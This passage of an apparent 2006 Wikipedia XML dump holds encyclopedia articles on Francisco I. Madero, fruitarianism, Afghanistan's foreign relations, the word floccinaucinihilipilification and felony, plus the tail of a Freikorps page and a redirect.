*[[Hans Kammler]]
*[[Ernst Roehm]]
*[[Ernst von Salomon]]
*[[Hugo Sperrle]]
*[[Gregor Strasser]]
*[[Otto Strasser]]
*[[British Free Corps]]
*[[Stahlhelm, Bund der Frontsoldaten]]
*[[Sudetendeutsches Freikorps]]

==External links==
* [http://www.reitergenosten.de The history of the German Freikorps 1918-23]
* [http://www.axishistory.com/index.php?id=5773 Axis History Factbook; Freikorps section] &amp;ndash; By Marcus Wendel and contributors;&amp;nbsp;&amp;nbsp;site also contains an apolitical forum

[[Category:Counter-revolutionaries]]
[[Category:Weimar Republic]]
[[Category:Militias]]
{{Link FA|he}}

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    </revision>
  </page>
  <page>
    <title>Francisco I. Madero</title>
    <id>11285</id>
    <revision>
      <id>40319787</id>
      <timestamp>2006-02-19T20:13:03Z</timestamp>
      <contributor>
        <username>TigerShark</username>
        <id>161478</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/69.137.220.38|69.137.220.38]] to last version by 65.120.80.8</comment>
      <text xml:space="preserve">{{Infobox MexicanPresident | name=Francisco I. Madero
| image name=Francisco_I_Madero.jpg
| date1=[[6 November]] [[1911]]
| date2=[[18 February]] [[1913]]
| preceded=[[Francisco León de la Barra]] (interim)
| succeeded=[[Pedro Lascuráin]] (interim)
| date of birth=[[30 October]] [[1873]]
| place of birth=[[Parras]], [[Coahuila]]
| date of death=[[22 February]] [[1913]]
| place of death=[[Mexico City]]
| profession=Businessman
| wife=Sara Pérez
| party=''Anti re-electionist''
}}

'''Francisco I. Madero González''' ([[30 October]] [[1873]] &amp;ndash; [[22 February]] [[1913]]) was a [[revolutionary]] who served as [[President of Mexico|President]] of [[Mexico]] from 1911 to 1913.  As a respectable upper-class politician he supplied a center around which opposition to the dictatorship of [[Porfirio Díaz]] could coalesce.  However, once Díaz was deposed, the [[Mexican Revolution]] quickly spun out of Madero's control.  He was deposed and executed by rival revolutionaries, and stable government did not return to Mexico for another 15 years.  

==Early Life==

He was born in [[Parras]], [[Coahuila]], the son of Francisco Madero and Mercedes González Treviño.  (Some people say his middle initial, &quot;I&quot;, stood for &quot;Indalecio&quot; but according to his birth certificate it stood for &quot;Ignacio&quot;)  His parents were one of the richest families in [[Mexico]], of [[Portugal|Portuguese]] descent. Madero was educated in [[Baltimore]], [[Versailles]], and at the [[University of California, Berkeley]].

Affected by the plight of the poor under the dictator [[Porfirio Díaz]], in 1904 Madero became involved in [[politics]] with the ''Benito Juárez Democratic Club''.  

Madero was a vegetarian, mystic, liberal capitalist who feared that the existing regime under Díaz would inevitably breed true social revolution &amp;mdash; a fear that proved accurate with the subsequent rise of [[Emiliano Zapata]] and [[Pancho Villa]]. Madero favored an oligarchic façade democracy that would protect the elite from popular insurrection; he wrote that &quot;the ignorant public ... should take no direct part in determining who should be the candidate for public office.&quot; Madero thus criticized Díaz's presidency as counterproductive. He proposed that Díaz offer concessions to peasants and the proletariat to promote a climate of order and stability from which both foreign and domestic elites would benefit.  Madero also hoped such concessions would curb the growth of radical ideas.
==The Revolution==

During the election of 1910, Madero (Anti-Reelectionist) ran against Díaz. Díaz had promised a true democratic election, proclaiming that Mexico was ready for democracy. However during the election, Díaz had Madero and approximately 6,000 other members of the Anti-Reelectionists jailed. Vasquez Gomez took over the nomination, and during Madero's time in jail, Díaz was declared president with an electoral vote of 196 to 187. Madero's father had posted substantial bail, and Madero was able to take daily rides around San Luis Potosi by day, accompanied by guards. On the 4 of October 1910, Madero simply galloped away from his lazy jailers, and smuggled himself across the border to Laredo, Texas. Moving to San Antonio, Texas, he issued his [[Plan of San Luis Potosi]], which proclaimed the elections of 1910 null and void, and called for an armed revolution at 6 p.m. on [[November 20]] [[1910]] against the 'illegitimate' presidency of Díaz. The Revolution spread, and [[Francisco Villa]] occupied [[Chihuahua, Chihuahua]], and [[Ciudad Juárez, Chihuahua]]. The overthrow of Díaz was accomplished on [[May 17]], when Madero signed the [[Treaty of Ciudad Juárez]], in which he demanded the resignation of Díaz as a condition for an armistice.  Díaz resigned on [[May 25]], [[1911]].

Madero appointed [[Francisco León de la Barra]] as Interim President. De la Barra was strongly conservative and acted to neutralise the more radical ideas of the Revolution. With this in mind, apart from his lack of real political experience and excessive optimism, created a rift with many of his former allies, including Emiliano Zapata, who felt that Madero was not pushing hard enough for land reform.

==Fall and execution==

In early 1913, [[Victoriano Huerta]], the commander of the armed forces, conspired with [[Félix Díaz]] (Porfirio Díaz's nephew) and [[United States|US Ambassador]] [[Henry Lane Wilson]], against Madero.  Madero's brother and advisor [[Gustavo A. Madero]] was kidnapped off the street, tortured, and killed.  Following Huerta's [[coup d'état]] on [[February 18]], [[1913]], Madero was forced to resign. After a very brief term of office by [[Pedro Lascuráin]], Huerta took over the presidency later that day. Francisco Madero was executed four days later, aged 39. The Huerta government claimed he was ordered killed after a failed rescue attempt by his supporters. 

'''Curiosities:''' He was the first chief executive to fly in an airplane. Mexico City, [[November 30]], [[1911]].

{{Commons|Francisco I. Madero}}

{{start box}}
{{succession box|title=[[President of Mexico]]|before=[[Francisco León de la Barra]]|after=[[Pedro Lascuráin]]|years=1911&amp;ndash;1913}}
{{end box}}

[[Category:1873 births|Madero, Francisco I.]]
[[Category:1913 deaths|Madero, Francisco I.]]
[[Category:Executed presidents|Madero, Francisco]]
[[Category:Mexican Revolution|Madero, Francisco]]
[[Category:People from Coahuila|Madero, Francisco I.]]
[[Category:Presidents of Mexico|Madero, Francisco]]
[[Category:Mexican presidential candidates (1910)|Madero, Francisco]]
[[Category:Revolutionaries|Madero, Francisco]]
[[Category:Teetotalers|Madero, Francisco]]
[[Category:Vegetarians|Madero, Francisco]]

[[da:Francisco I. Madero]]
[[de:Francisco Madero]]
[[es:Francisco I. Madero]]
[[fr:Francisco Madero]]
[[it:Francisco Indalecio Madero]]
[[nl:Francisco I. Madero]]
[[ja:&amp;#12501;&amp;#12521;&amp;#12531;&amp;#12471;&amp;#12473;&amp;#12467;&amp;#12539;&amp;#12510;&amp;#12487;&amp;#12525;]]
[[sl:Francisco Indalecio Madero]]</text>
    </revision>
  </page>
  <page>
    <title>Fruitarianism</title>
    <id>11286</id>
    <revision>
      <id>42063649</id>
      <timestamp>2006-03-03T15:36:12Z</timestamp>
      <contributor>
        <username>Psantora</username>
        <id>257756</id>
      </contributor>
      <comment>/* See also */</comment>
      <text xml:space="preserve">[[Image:Fruit Stall in Barcelona Market.jpg|thumb|A fruit stall in Barcelona]]

'''Fruitarians''' (or '''fructarians''') are a subgroup of [[veganism|vegans]] who eat only the [[fruit]] of [[plant]]s. This includes not only what one typically thinks of as a &quot;fruit&quot; in the culinary sense such as [[apple]]s and [[Orange (fruit)|orange]]s, but also other [[food]]s that are botanically the fruits of [[flowering plant]]s (that is, the seed-containing reproductive parts), including [[berry|berries]], [[nut (fruit)|nut]]s, [[seed]]s, [[capsicum]]s, [[tomato]]es, [[Squash (fruit)|squash]], [[bean]]s, [[pea]]s, and so on. There are different variations of fruitarianism. Some fruitarians will eat only what falls (or would fall) naturally from a plant—fruits, seeds and nuts. Others may eat all biological fruits. The former argue that the [[slippery slope]] of what 'would' fall from the plant leads to including foods that would otherwise be taboo. [[Cereal|Grains]] are usually disallowed, as they are conventionally harvested by cutting down the plant. Most fruitarians are also [[raw food diet|raw foodists]].

==Motivation==
Motivated by religious faith in the [[Old Testament]], some believe fruitarianism was the original diet of humankind in the form of [[Adam and Eve]] and if they are ever to return to an [[Garden of Eden|Eden]]-like [[paradise]] then they will have to go back to [[simple living]], and a holistic approach to health and diet ([[Book of Isaiah|Isaiah 11:6-9]]).

Some fruitarians only eat the fruit of a plant so that the plant does not have to be killed.  For instance when one eats a root vegetable such as a [[carrot]], the whole carrot plant dies.  Fruitarians point out that, in nature, eating some types of fruit actually does the parent plant a favor. Fleshy fruit has evolved with the obvious purpose of being eaten by animals, to achieve [[Biological dispersal|seed dispersal]]. Seeds in fruits will be swallowed and travel through the animal's digestive tract before [[sprouting]] in a pile of ready-made [[fertilizer]], or, in the case of fruits with cores or pits, will be tossed aside to sprout. Without animals eating fruit, the seed would not travel far enough away from the plant to allow the species to proliferate successfully.  The benefit of seed spreading, however, depends on the seed (and thus the feces) being returned to [[arable land]] (rather than to [[sewer]]s or [[septic tank]]s which tend to be unfavorable to seed cultivation).

Some fruitarians believe that the diet accords them the &quot;supercharged vitality of wild animality.&quot; [http://www.organicsuicide.com.futuresite.register.com/wsn453F.html]

==Famous fruitarians==
*[[Mahatma Gandhi]] in his later years.

==Biblical fruitarians==
*[[Adam and Eve]] in the [[Garden of Eden]] (''Behold I have given you herb yielding seed. To you it shall be for meat''; [[Book of Genesis|Genesis l:29]]).
*There is evidence that the [[Essenes]] were [[raw food diet|raw foodists]] and fruitarians. Some scholars even believe [[Jesus]] to have been an Essene who practiced a mainly fruitarian diet, although this contradicts the mainline [[Bible]].

==Fictional fruitarians==
* The [[K-PAXian]] in [[Gene Brewer]]'s ''[[K-PAX]]'' book series and film.
* The [[Eloi]] from [[HG Wells]]'s ''[[The Time Machine]]''.
* One of [[Hugh Grant]]'s potential love interests in the film [[Notting Hill]]

==Medical risks==
A fruitarian diet can be difficult to follow, and on a long-term basis fruitarians often suffer [[Illnesses related to poor nutrition|health problems caused by nutrient deficiency]]. For example, it may be true that [[Vitamin]] [[Cyanocobalamin|B12]] cannot be found in any fruit matter. Some say the diet is overly rich in [[sugar]], and that this can lead to symptoms suggestive of [[hyperglycemia]] or [[diabetes mellitus|diabetes]], while it is lacking in [[protein]], [[mineral]]s and [[fat]] [[soluble]] vitamins. Long-term fruitarians may be prone to psychological [[food]] cravings and consequent [[binge-eating]], either of 'allowed' foods or 'illicit' ones. Fruitarians allegedly often develop strong cravings for [[Date (fruit)|dates]] (for their high sugar content) and [[avocado]]s (for their high fat content). Some fruitarians develop a type of [[eating disorder]] called [[orthorexia nervosa|orthorexia]].  Anyone adopting a fruitarian diet should be aware of what nutrients their body needs and what supplements they will have to take.

==See also==
*[[Breatharian]]
*[[Christian vegetarianism]]
*[[Diet (nutrition)]]
*[[Fasting]]
*[[Jainism]]
*[[The Celestine Prophecy]]
*[[Natural Hygiene]]
*[[New Age]]
*[[Nutrition]]
*[[Pastafarianism]]
*[[Raw food diet]]
*[[Simple living]]
*[[Veganism]]

==External links==
* [http://www.animalsuffering.com/forum/ Animal Rights and cruelty free diets board] - with fruitarian support boards
* [http://www.acorn.net/fruitarian/what.html What is fruitarian?] at [http://www.acorn.net/fruitarian/ Fruitarian Network]
* [http://www.ecologos.org/ Ecologos] - Offers creditable information on fruitarianism and other dietary practises. 


[[Category:Diets]]
[[Category:Vegetarianism]]
[[Category:Veganism]]


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    </revision>
  </page>
  <page>
    <title>Foreign relations of Afghanistan</title>
    <id>11288</id>
    <revision>
      <id>41701110</id>
      <timestamp>2006-03-01T03:48:35Z</timestamp>
      <contributor>
        <username>Commking</username>
        <id>185652</id>
      </contributor>
      <minor />
      <comment>added Josiah Harlan link</comment>
      <text xml:space="preserve">{{wfy}}
{{Politics of Afghanistan}}
The '''foreign relations of Afghanistan''', like those of each country, have changed along with political, sociological, and economic state of the various parts of [[Afghanistan]].

== Overview ==
Before the Soviet invasion, Afghanistan pursued a policy of neutrality and nonalignment in its foreign relations. In international forums, Afghanistan generally followed the voting patterns of Asian and African nonaligned countries. Following the Marxist coup of April 1978, the Taraki government developed significantly closer ties with the [[Soviet Union]] and its communist satellites.

After the December 1979 invasion, Afghanistan's foreign policy mirrored that of the Soviet Union. Afghan foreign policymakers attempted, with little success, to increase their regime's low standing in the noncommunist world. With the signing of the Geneva Accords, President [[Najibullah]] unsuccessfully sought to end Afghanistan's isolation within the Islamic world and in the [[Non-Aligned Movement]].

Most Western countries, including the [[United States]], maintained small diplomatic missions in the captial city of [[Kabul]] during the Soviet occupation. (Throughout the Soviet occupation, the U.S. did not recognize the Afghan regimes, and its mission was headed by a Charge d'Affaires rather than an Ambassador.) Many countries subsequently closed their missions due to instability and heavy fighting in Kabul after the Soviet withdrawal in 1989.

Many countries initially welcomed the introduction of the [[Taliban]], who they saw as a stabilizing, law-enforcing alternative to the warlords who had ruled the country since the fall of Najibullah's government in 1992. Those countries quickly alienated themselves from the Taliban after seeing learning of the harsh Sharia law being enforced in Taliban-controlled territories. The brutality towards women who attempted to work, learn, or leave the house without a male escort caused outside aid to the war-torn country to be limited. 

By 2001, only [[Foreign relations of Pakistan| Pakistan]], [[Foreign relations of Saudi Arabia |Saudi Arabia]], and the [[Foreign relations of the United Arab Emirates |United Arab Emirates]] recognized the Taliban. All three countries withdrew recognition Saudi Arabia and the UAE withdrew recognition following the September 11, 2001 bombings. Repeated Taliban efforts to occupy Afghanistan's seat at the UN and OIC were unsuccessful. 

Following the American Invasion and the [[Bonn Agreement(Afghanistan)|Bonn Agreement]] the new government under the leadership of [[Hamid Karzai]] started to re-establish diplomatic relationships with many countries who had held close diplomatic relations before the communist coup d'etat and the subsequent civil war.

== [[Pakistan]] ==
Two areas--Pashtunistan and Baluchistan--have long complicated Afghanistan's relations with Pakistan. Controversies involving these areas date back to the establishment of the Durand Line in 1893 dividing Pashtun and Baluch tribes living in Afghanistan from those living in what later became Pakistan. Afghanistan vigorously protested the inclusion of Pashtun and Baluch areas within Pakistan without providing the inhabitants with an opportunity for self-determination. Since 1947, this problem has led to incidents along the border, with extensive disruption of normal trade patterns. The most serious crisis lasted from September 1961 to June 1963, when diplomatic, trade, transit, and consular relations between the countries were suspended.

The 1978 Marxist coup further strained relations between the two countries. Pakistan took the lead diplomatically in the United Nations, the Non-Aligned Movement, and the Organization of the Islamic Conference in opposing the Soviet occupation. During the war against the Soviet occupation, Pakistan served as the primary logistical conduit for the Afghan resistance. Pakistan, aided by UN agencies, private groups, and many friendly countries, continues to provide refuge to several million Afghans...

Pakistan developed close ties to the Taliban regime, which it believed would offer [[strategic depth]] in any future conflict with India, and extended recognition in 1997. 

Much of Afghanistan has long relied on Pakistani links for trade and travel to the outside world, and Pakistan views Afghanistan as eventually becoming its primary route for trade with Central Asia, though these plans will of necessity await establishment of secure conditions.

== [[Iran]] ==
Afghanistan's relations with [[Iran]] have fluctuated over the years, with periodic disputes over the water rights of the Helmand River as the main issue of contention. Following the Soviet invasion, which Iran opposed, relations deteriorated. The Iranian consulate in Herat closed, as did the Afghan consulate in Mashad. The Iranians complained of periodic border violations following the Soviet invasion. In 1985, they urged feuding Afghan Shi'a resistance groups to unite to oppose the Soviets. Iran supported the cause of the Afghan resistance and provided limited financial and military assistance to rebel leaders who pledged loyalty to the Iranian vision of Islamic revolution. Iran provides refuge to about 2 million Afghans, though it has refused to accept more in recent years and, indeed, tried to force many to repatriate.

Following the emergence of the [[Taliban]] and their harsh treatment of Afghanistan's Shi'a minority, Iran stepped up assistance to the [[Northern Alliance]]. Relations with the Taliban deteriorated further in 1998 after Taliban forces seized the Iranian consulate in Mazar-e-Sharif and executed Iranian diplomats.

== [[Russia]] == 
In the 19th century, Afghanistan served as a strategic buffer state between czarist Russia and the British Empire in the subcontinent. Afghanistan's relations with Moscow became more cordial after the Bolshevik Revolution in 1917. The Soviet Union was the first country to establish diplomatic relations with Afghanistan after the Third Anglo-Afghan war and signed an Afghan-Soviet nonaggression pact in 1921, which also provided for Afghan transit rights through the Soviet Union. Early Soviet assistance included financial aid, aircraft and attendant technical personnel, and telegraph operators.

The Soviets began a major economic assistance program in Afghanistan in the 1950s. Between 1954 and 1978, Afghanistan received more than $1 billion in Soviet aid, including substantial military assistance. In 1973, the two countries announced a $200-million assistance agreement on gas and oil development, trade, transport, irrigation, and factory construction. Following the 1979 invasion, the Soviets augmented their large aid commitments to shore up the Afghan economy and rebuild the Afghan military. They provided the Karmal regime an unprecedented $800 million. The Soviet Union supported the Najibullah regime even after the withdrawal of Soviet troops in February 1989. Today, unresolved questions concerning Soviet MIA/POWs in Afghanistan remain an issue between Russia and Afghanistan.

Tajik rebels based in Afghanistan in July 1993 attacked a Russian border outpost in Tajikistan, killing 25 Russians and prompting Russian retaliatory strikes, which caused extensive damage in northern Afghanistan. Reports of Afghan support for the Tajik rebels led to cool relations between the two countries.

Russia became increasingly disenchanted with the Taliban over their support for [[Chechnya|Chechen]] [[rebel]]s and for providing a sanctuary for terrorist groups active in Central Asia and in Russia itself. Russia provided military assistance to the [[Afghan Northern Alliance|Northern Alliance]], who eventually proved a major force in the efforts to overthrow the Taliban regime following [[USA|U.S.]] intervention in [[2001]].

In [[October]] [[2005]], Russian defense officials stated they will be giving helicopters and other military equipment to Afghanistan's army worth $30 million [[USD]].[http://news.yahoo.com/s/ap/20051009/ap_on_re_eu/russia_afghanistan] Over 30,000 U.S. and NATO troops still remain in Afghanistan.

== [[Tajikistan]] ==
Afghanistan's relations with newly independent Tajikistan have been complicated by political upheaval and civil war in Tajikistan, which spurred some 100,000 Tajiks to seek refuge in Afghanistan in late 1992 and early 1993. Tajik rebels seeking to overthrow the regime of Russian-backed former communist [[Emomali Rahmonov]] began operating from Afghan bases and recruiting Tajik refugees into their ranks. These rebels, reportedly aided by Afghans and a number of foreign Islamic extremists, conducted cross-border raids against Russian and Tajik security posts and sought to infiltrate fighters and materiel from Afghanistan into Tajikistan. Also disenchanted by the Taliban's harsh treatment of Afghanistan's Tajik minority, Tajikistan facilitated assistance to the Northern Alliance. 

In 2001, the [[Taliban]], which controlled most of the country, instituted a number of decrees, or [[fatwa]]s that have greatly concerned the outside world. Among them was the removal or destruction of all religious icons from the country, making the conversion of Muslims to other faiths punishable by death, banning the sale and distribution of opium, and the banning of the [[Internet]] in Afghanistan.

== [[United States]] ==
The first extensive American contact with Afghanistan was made by [[Josiah Harlan]], an adventurer from Pennsylvania who was an adviser in Afghan politics in the 1830s and reputedly inspired Rudyard Kipling's story &quot;The Man Who Would be King.&quot; After the establishment of diplomatic relations in 1934, the U.S. policy of helping developing nations raise their standard of living was an important factor in maintaining and improving U.S.-Afghan ties. From 1950 to 1979, U.S. foreign assistance provided Afghanistan with more than $500 million in loans, grants, and surplus agricultural commodities to develop transportation facilities, increase agricultural production, expand the educational system, stimulate industry, and improve government administration.

In the 1950s, the U.S. declined Afghanistan's request for defense cooperation but extended an economic assistance program focused on the development of Afghanistan's physical infrastructure--roads, dams, and power plants. Later, U.S. aid shifted from infrastructure projects to technical assistance programs to help develop the skills needed to build a modern economy. The Peace Corps was active in Afghanistan between 1962 and 1979.

After the April 1978 coup, relations deteriorated. In February 1979, U.S. Ambassador Adolph &quot;Spike&quot; Dubs was murdered in Kabul after Afghan security forces burst in on his kidnapers. The U.S. then reduced bilateral assistance and terminated a small military training program. All remaining assistance agreements were ended after the Soviet invasion.

Following the Soviet invasion, the United States supported diplomatic efforts to achieve a Soviet withdrawal. In addition, generous U.S. contributions to the refugee program in Pakistan played a major part in efforts to assist Afghans in need. U.S. efforts also included helping Afghans living inside Afghanistan. This cross-border humanitarian assistance program aimed at increasing Afghan self-sufficiency and helping Afghans resist Soviet attempts to drive civilians out of the rebel-dominated countryside. During the period of Soviet occupation of Afghanistan, the U.S. provided about $3 billion in military and economic assistance to Afghans and the resistance movement.

The U.S. embassy in Kabul was closed in January 1989 for security reasons, but officially reopened as an embassy on January 17, 2002. Throughout the difficult and turbulent past 20 years, the U.S. has supported the peaceful emergence of a broad-based government representative of all Afghans and has been active in encouraging a UN role in the national reconciliation process in Afghanistan. The U.S. provides financial aid for mine-clearing activities and other humanitarian assistance to Afghans through international organizations. The U.S. is the largest provider of humanitarian assistance to Afghanistan. The aid effort has continued despite a U.S. cruise missile attack on a terrorist camp in Afghanistan associated with Osama bin Laden in 1998, with the military action taken against terrorist and Taliban targets in October 2001 and the ongoing actions of Operation Enduring Freedom.

== [[India]] ==
India has a long history with Afghanistan as it was part of ancient India in the past. India has traditionally enjoyed good relations with the Afghan government. It also supported the [[Afghan Northern Alliance]] &quot;unofficially&quot; against [[Taliban]].  Relations deteriorated after the [[Taliban]] took power. After the fall of the Taliban, India resumed old ties. India has donated buses, aircraft and has imparted training to its fledgling police force. Trade consists of films, dry fruits etc.

== [[Germany]] ==
The German - Afghani relationship is long and has been mostly cordial. Many Afghani academics studied in Germany, many more sought refuge in Germany during the years of civil war. There has been significant cultural exchange over the years. Several of the best secondary schools in Kabul are founded and supported by the German government.

Germany remains one of the most significant donors of foreign aid and partners in the rebuilding of Afghanistan.

The [[Bonn Agreement (Afghanistan)|Bonn agreement]] for the post Taliban governance of Afghanistan was debated and signed in the former seat of government fo Western Germany.

== [[United Nations]] efforts ==
During the Soviet occupation, the United Nations was highly critical of the U.S.S.R.'s interference in the internal affairs of Afghanistan and was instrumental in obtaining a negotiated Soviet withdrawal under the terms of the Geneva Accords.

In the aftermath of the Accords and subsequent Soviet withdrawal, the United Nations has assisted in the repatriation of refugees and has provided humanitarian aid such as health care, educational programs, and food and has supported mine-clearing operations. The UNDP and associated agencies have undertaken a limited number of development projects. However, the UN reduced its role in Afghanistan in 1992 in the wake of fierce factional strife in and around Kabul. The UN Secretary General has designated a personal representative to head the Office for the Coordination of Humanitarian Assistance to Afghanistan (UNOCHA) and the Special Mission to Afghanistan (UNSMA), both based in Islamabad, Pakistan. Throughout the late 1990s, 2000, and 2001, the UN unsuccessfully strived to promote a peaceful settlement between the Afghan factions as well as provide humanitarian aid, this despite increasing Taliban restrictions upon UN personnel and agencies. 

== Illicit drugs == In 2000, Afghanistan was the world's largest illicit [[opium]] producer, surpassing [[Myanmar]] (potential production in 1999 - 1,670 metric tons; cultivation in 1999 - 515 km&amp;sup2, a 23% increase over 1998); a major source of [[hashish]]; increasing number of [[heroin]]-processing laboratories being set up in the country; major political factions in the country profit from drug trade.

== Diplomatic Representation ==
Prior to the 2001 invasion by US forces, only three countries recognized the [[Taliban]] as the legitimate government of Afghanistan: [[Pakistan]], [[Saudi Arabia]], and the [[United Arab Emirates]]. Following the [[September 11 attacks]], all three countries broke ties with the Taliban following their refusal to hand [[Osama bin Laden]] over to the United States.

Following the establishment of an interim government, most countries resumed diplomatic ties with Afghanistan.

==References==
* {{CIAfb}}{{-}}
* {{StateDept}}
==External links==
*[http://www.embassyofafghanistan.org Embassy of Afghanistan in Washington,DC]
*[http://www.unama-afg.org United Nations Assistance Mission in Afghanistan]
*[http://afghanistan.usembassy.gov United States Embassy in Kabul]

[[Category:Foreign relations by country|Afghanistan]]
[[Category:Foreign relations of Afghanistan| ]]
[[Category:Wikipedia articles in need of updating]]</text>
    </revision>
  </page>
  <page>
    <title>Feudal Polish crown</title>
    <id>11289</id>
    <revision>
      <id>26542128</id>
      <timestamp>2005-10-26T17:13:17Z</timestamp>
      <contributor>
        <username>Appleseed</username>
        <id>404133</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[List of Polish monarchs]]</text>
    </revision>
  </page>
  <page>
    <title>Floccinaucinihilipilification</title>
    <id>11291</id>
    <revision>
      <id>39792537</id>
      <timestamp>2006-02-15T22:23:39Z</timestamp>
      <contributor>
        <ip>161.97.202.60</ip>
      </contributor>
      <text xml:space="preserve">{{wiktionarypar|floccinaucinihilipilification}}
'''Floccinaucinihilipilification''' is the act or habit of esteeming or describing something as worthless, or making something to be worthless by said means.

&quot;Floccinaucinihilipilification&quot; is also the title of a 1996 recording from the Chicago-area music group [[Panicsville]] released on [[Nihilist Records]].

At 29 letters, it is the [[longest word in English|longest non-technical word]] in the first edition of the ''[[Oxford English Dictionary]]'', which presents it &quot;as enumerated in a well-known rule from the Eton Latin Grammar&quot;. The ''OED'' dates its first use in literature at [[1741]] in [[William Shenstone]]'s ''Works in Prose and Verse'':  &quot;I loved him for nothing so much as his flocci-nauci-nihili-pili-fication of money&quot;.

Though the ''OED'' gives no specifics on its [[derivation]], the word is said to have been invented as an erudite joke by a student of [[Eton College]], who, upon consulting a [[Latin]] textbook, found four words connoting 'nothing' or 'worthless', combined them, and added verb endings:
*''floccus'', -''i'' a wisp or piece of wool, used [[idiom]]atically as ''flocci non facio'' (&quot;I don't care [one thread]&quot;)
*''naucum, -i'' a trifle
*''nihilum, -i'' nothing; something valueless
*''pilus, -i'' a hair; a bit or a whit; something small and insignificant

In fact, as given in the first edition of the ''OED'', the word includes four sets of [[quotation mark]]s and is presented thus:
:''' &quot;Flocci&quot; &quot;nauci&quot; &quot;nihili&quot; &quot;pili&quot; fication'''
It is often spelled with hyphens, and has even spawned the [[back formation]]s ''floccinaucical'' (inconsiderable or trifling) and ''floccinaucity'' (a thing of small importance). The ''OED'' appears to have overlooked ''floccinaucinihilipilificatious'', which has one letter more than the nominal form, and means &quot;small&quot; or &quot;insignificant.&quot;  

The word is sometimes misspelled as floccinaucinihilipi'''p'''ification or flocci'''p'''au'''s'''inihilipilification.

==Pronunciation==
A number of pronunciations have been suggested for this word, including the following (shown in [[IPA chart for English|IPA]]):
*{{IPA|/ˌflɒ.kɪˌnɒ.kɪˌnɪ.hɪ.lɪˌpɪ.lɪ.fɪˈkeɪ.ʃən/}}
*{{IPA|/ˌflɒ.ksɪˌnɔːsɪˌnaɪ.ɪl.ɪˌpɪl.ɪf.ɪˈkeɪ.ʃən/}}
*{{IPA|/ˌflɑ.tʃi.ˌnaʊ.tʃi.nɪˌhɪ.liˌpɪ.li.faɪ'kæ.ʃən/}}
*{{IPA|/ˌflɑ.sɪˌnɑ.si.n&amp;#601;.hɪl.&amp;#601;.pɪl.&amp;#601;.fɪˈkeɪ.ʃən/}}
*{{IPA|/ˌflɒk.siˌnoʊ.siˌnaɪ.hil.i.ˌpɪl.i.fɪ.keɪ.ʃən/}}.

==Noted Occurrences==
{{wikiquote}}
* The word is used in a humorous [[Geico]] commercial, in which a judge was struggling to say the word for a child to spell in a [[spelling bee]].
* Jo Brand on the &quot;QI&quot; show - [[BBC Four]] Episode 4/11 - Aired Thursday 25th August 10:30pm.
* 1995 Daily Press Briefing by Mike McCurry, President Clinton's Press Secretary 
* Used in feminine genitive form of floccinaucinihilipilificatrix by Capt. Z. John Carter when referring to his mother-in-law, Hilda Mae Burroughs, in ''[[The Number of the Beast (novel)|Number of the Beast]]'' by [[Robert A. Heinlein]].  The same author also used the masculine genitive form in ''Puppetmasters'' earlier in his career.
* Used in the BBC quiz show, ''[[Catchword (TV Series)|Catchword]]'' as the player using the longest word in some rounds got a bonus.

== See also ==
* [[Hippopotomonstrosesquippedaliophobia]]
* [[Antidisestablishmentarianism]]
* [[Supercalifragilisticexpialidocious]]
* [[Pneumonoultramicroscopicsilicovolcanoconiosis]]

[[Category:Long words]]</text>
    </revision>
  </page>
  <page>
    <title>Felony</title>
    <id>11293</id>
    <revision>
      <id>41726082</id>
      <timestamp>2006-03-01T08:50:04Z</timestamp>
      <contributor>
        <username>Acerperi</username>
        <id>173184</id>
      </contributor>
      <text xml:space="preserve">{{CrimLaw}}

A '''felony''', in many [[common law]] legal systems, is the term for a &quot;very serious&quot; [[crime]], whereas [[misdemeanor|misdemeanors]] are considered to be less serious offenses. 

Crimes which are commonly considered to be felonies include, but are not limited to: [[assault|aggravated assault]], [[arson]], [[burglary]], [[murder]], and [[rape]]. Those who are convicted of a felony are known as '''felons'''. Originally, felonies were crimes for which the punishment was either [[capital punishment|death]] or [[forfeiture]] of [[property]]. Nowadays, felons can receive punishments which range in severity; from [[probation]], to [[prison|imprisonment]], to [[execution (legal)|execution]].  In the [[United States]] felons often receive additional punishments such as the loss of [[Voting rights|voting rights]], exclusion from certain lines of work, prohibition from obtaining certain licenses, exclusion from purchase/possession of [[firearms]] or [[ammunition]], and ineligibility to run for or be elected to public office. In addition, some [[state]]s consider a felony conviction to be grounds for an uncontested [[divorce]]. 

The distinction between a felony and misdemeanor has been abolished by some common law jurisdictions (e.g. [http://www.austlii.edu.au/au/legis/vic/consol_act/ca195882/s322b.html Crimes Act 1958 (Vic., Australia) s. 332B(1)], [http://www.austlii.edu.au/au/legis/nsw/consol_act/ca190082/s580e.html Crimes Act 1900 (NSW., Australia) s. 580E(1)]); other jurisdictions maintain the distinction, notably those of the [[United States]]. Those jurisdictions which have abolished the distinction generally adopt some other classification, e.g. in [[Canada]] and [[New South Wales]], [[Australia]] and the [[United kingdom]] the crimes are divided into [[summary offence]]s and [[indictable offence]]s.

==The United States==
In many jurisdictions of the United States, a felony is any offense carrying a potential penalty of more than one year in prison. An offense carrying a lesser sentence is usually a misdemeanor. In [[Massachusetts]], on the other hand, a felony is any offense which carries ''any'' prison time.[http://www.mass.gov/legis/laws/mgl/274-1.htm]  Some states have done away with the felony/misdemeanor classification.  For example, [[New Jersey]] designates offenses as first degree through fourth degree.  A third degree offense is punishable by six months to eighteen months in [[jail]].

U.S. jurisdictions retaining the distinction between a felony and a misdemeanor sometimes divide felonies into classes, e.g. class A felony, class B felony, etc. 

A civil sanction imposed on U.S. citizens convicted of a felony includes the loss of competence to serve on a grand or petit [[jury]] or to vote in elections even after release from prison.  While controversial, these disabilities are explicitly sanctioned by the [[Fifteenth Amendment to the United States Constitution]]{{fact}}, a [[Reconstruction]]-era amendment that deals with permissible state regulation of voting rights.  However the convicted person may regain his ability to serve as a juror and vote as part of a general restoration of [[civil rights]] following completion of sentence. In addition, convicted felons are prohibited by federal law from possessing firearms, a sanction which is ''not'' usually remitted upon completion of sentence, but which may be annulled by a [[pardon]] of the offense. 

Theoretically, federal law allows persons convicted of felonies in a federal [[United States district court]] to apply to have their record expunged after a certain period of time with a clean record. However, the [[Congress of the United States|U.S. Congress]] has refused to fund the federal agency mandated with handling the applications of convicted felons to have their record expunged. This means that, in practice, federal felons cannot have their records expunged.&lt;br&gt;

As of January 2006, a bill has been proposed which, if approved to law, would make illegal [[immigration]] a felony.  This is mostly in response to increased illegal alien traffic from Mexico.{{fact}}  It no doubt would create great controversy before it had a chance at becoming law.

===See also===
*[[Three strikes law]]

[[Category:Crimes]]
[[Category:Criminal law]]
[[Category:legal terms]]

